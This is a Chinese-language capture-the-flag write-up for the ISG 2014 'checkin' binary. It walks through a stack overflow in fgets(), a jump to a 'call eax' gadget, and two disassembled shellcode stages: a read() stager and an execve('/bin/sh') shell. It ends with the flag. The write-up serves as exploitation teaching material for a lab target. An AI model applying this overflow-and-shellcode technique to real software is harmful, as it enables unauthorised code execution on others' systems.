almost 9 years ago
一樣是 64-bit ELF 的微小 binary,text:40073F
處的 fgets()
會造成溢出。
附帶一提,這次沒有 DEP 所以如果能跳到 shellcode 上就可以了。
char *__fastcall sub_40071D(char *a1, int a2) { /* a2 = 28 */
char s; // [sp+12h] [bp-Eh]@1
fgets(&s, a2, stdin);
return strcpy(a1, &s);
}
溢出的長度有 14 bytes: 蓋在 rbp 上的 8 bytes,蓋在 return address 上的有 6 bytes。
如果要讓流程跳轉到 .text 段上,6 bytes 已經很足夠了,輸入時要送滿 28 bytes 使得結尾沒有換行字元。
要跳轉的目標則是 .text:40070D call eax
,因為 strcpy
的回傳值恰好是第一個參數,
也就是輸入的字串會被複製到過去的 a1,只要在輸入字串中放入 shellcode 便成。
但這裡的 shellcode 只能放 22 bytes,太短了不好做事。
所以先放個 18 bytes 的 shellcode,read(0, rax, 0xffff)
把更長的 shellcode 讀上來接在下個會執行的位址。
400080: 48 31 ff xor rdi,rdi
400083: 48 89 fa mov rdx,rdi
400086: 66 ba ff ff mov dx,0xffff
40008a: 48 89 c6 mov rsi,rax
40008d: 48 31 c0 xor rax,rax
400090: 0f 05 syscall
之後的 shellcode 要做的就是 execve("/bin/sh", {"/bin/sh", 0}, {0})
開個 shell。
字串 "/bin/sh" 和 argv, envp 用 read
讀到可寫的 .got.plt:0x601018
段去,省得定位。
400080: b8 00 00 00 00 mov eax,0x0
400085: bf 01 00 00 00 mov edi,0x1
40008a: be 18 10 60 00 mov esi,0x601018
40008f: ba 64 00 00 00 mov edx,0x64
400094: 0f 05 syscall
400096: b8 3b 00 00 00 mov eax,0x3b
40009b: bf 28 10 60 00 mov edi,0x601028
4000a0: be 18 10 60 00 mov esi,0x601018
4000a5: ba 20 10 60 00 mov edx,0x601020
4000aa: 0f 05 syscall
ISG{the_shortest_shellcode_wins}
,其實也不用那麼 short
Exploit source code: isg2014 - checkin.py